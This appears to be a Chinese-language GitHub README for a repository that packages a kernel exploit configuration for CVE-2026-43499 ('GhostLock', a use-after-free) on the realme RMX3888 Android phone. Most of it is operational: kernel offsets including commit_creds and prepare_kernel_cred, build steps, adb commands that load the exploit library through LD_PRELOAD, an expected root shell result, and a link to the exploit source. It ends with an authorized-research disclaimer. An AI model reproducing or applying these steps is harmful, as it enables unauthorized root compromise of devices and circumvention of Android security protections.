realme RMX3888 的 CVE-2026-43499 漏洞利用配置

设备信息

品牌/型号：realme RMX3888
Android 版本：16 (SDK 36)
构建 ID：BP2A.250605.015
内核：Linux 6.1.141-android14-11-o-gffc54a6d2287
SoC：Qualcomm SM8650 (Snapdragon 8 Gen 3)
架构：ARM64 (aarch64)

概述

本仓库包含针对 realme RMX3888 设备的 CVE-2026-43499 (GhostLock) 漏洞利用的完整配置文件。所有内核偏移量均已从设备的 boot.img 中提取并验证。

特性

✓ 20 个已验证的内核偏移量，提取自 vmlinux
✓ 实时日志记录，使用 O_SYNC + fsync 以防止内核崩溃
✓ 针对 RMX3888 的设备专用配置
✓ 一键编译脚本，支持 NDK 自动检测
✓ 全面的文档，包含构建指南

包含的文件

配置文件

arget.h - 设备专用内核偏移量（20 个已验证的偏移量）
common.h - 包含日志集成的构建配置

ealtime_log.h - 实时日志记录实现

文档

BUILD_GUIDE.md - 完整的编译指南

eport.md - 详细分析报告（第 1 轮）

ound2_report.md - 配置报告（第 2 轮）

ROUND2_STATUS.md - 执行状态摘要
compile_status.json - 机器可读的构建状态

脚本

compile_rmx3888.sh - 一键编译脚本

快速开始

先决条件

Android NDK r26d 或更高版本
Git Bash、Linux/WSL 或 Termux 环境

编译

git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh

在 Windows Git Bash 上，脚本会自动检测 Android Studio 和命令行工具使用的默认 SDK 路径：/c/Android/Sdk/ndk/*。

注意：ASHMEM_MISC_FOPS、ASHMEM_COMPAT_IOCTL 和 COPY_SPLICE_READ 目前在 RMX3888 目标头文件中使用与构建兼容的回退值。在依赖运行时行为之前，请将这些值替换为经过验证的 RMX3888 vmlinux 偏移量。

用法

# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/

# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so

# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# Check logs
adb shell cat /sdcard/Download/log_*.txt

关键偏移量

以下主要偏移量提取自内核 6.1.141。关于仍需针对 RMX3888 进行验证的构建兼容回退条目，请参见上方的说明。

#define KIMAGE_TEXT_BASE        0xffffffc008000000ULL
#define INIT_TASK_OFF           0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF         0x0126bbe0ULL
#define COMMIT_CREDS            0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED     0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets

日志记录功能

集成的实时日志记录模块提供：

主日志路径：/sdcard/Download/log_.txt
备用路径：/data/local/tmp/log_.txt
内核崩溃安全：使用 O_SYNC + fsync() 实现立即写入磁盘
带时间戳的条目：所有日志条目均包含精确时间戳
stderr 镜像：日志同时输出到 stderr，供 adb logcat 使用

预期结果

成功利用

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...

日志文件输出

` === CVE-2026-43499 Exploit Log Started === Time: 2026-07-23 18:00:00 PID: 12345 UID: 2000 Log Path: /sdcard/Download/log_20260723_180000.txt

[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `

故障排除

有关详细的故障排除说明，请参阅 BUILD_GUIDE.md，包括：

编译错误
运行时崩溃
KASLR 绕过问题
SELinux 策略阻止

安全提示

⚠️ 警告：此配置仅用于授权的安全研究。

仅在您拥有的设备上使用
未经授权不得分发编译后的二进制文件
遵守负责任的披露惯例
日志文件可能包含敏感的系统信息

技术细节

提取过程

使用 Android Boot Image v4 解析器解包 Boot.img
使用 vmlinux-to-elf 提取 vmlinux（102,871 个符号）
解析并分析了 99,580 个有效符号
交叉验证了 20 个关键偏移量
通过符号地址一致性检查验证偏移量

偏移量验证

已确认内核基地址：0xffffffc008000000
所有符号地址均已根据内存布局进行验证
与参考设备（Google Pixel tokay）进行了交叉比对
提取成功率 100%（20/20 个偏移量）

参考资料

CVE-2026-43499：GhostLock - Ion 分配器 UAF 漏洞
漏洞利用源码：https://github.com/NebuSec/CyberMeowfia
目标设备：realme RMX3888（Snapdragon 8 Gen 3）

许可证

此配置仅用于教育和安全研究目的。

免责声明

此仓库包含安全研究材料。作者和贡献者不对因使用此代码而导致的任何滥用或损害负责。请自行承担风险，并仅在您拥有或获得明确授权进行测试的设备上使用。

生成时间：2026-07-23
内核版本：6.1.141-android14-11-o-gffc54a6d2287
偏移量验证：100%（20/20）
状态：可进行编译

rmx3888-cve-2026-43499-config

最受欢迎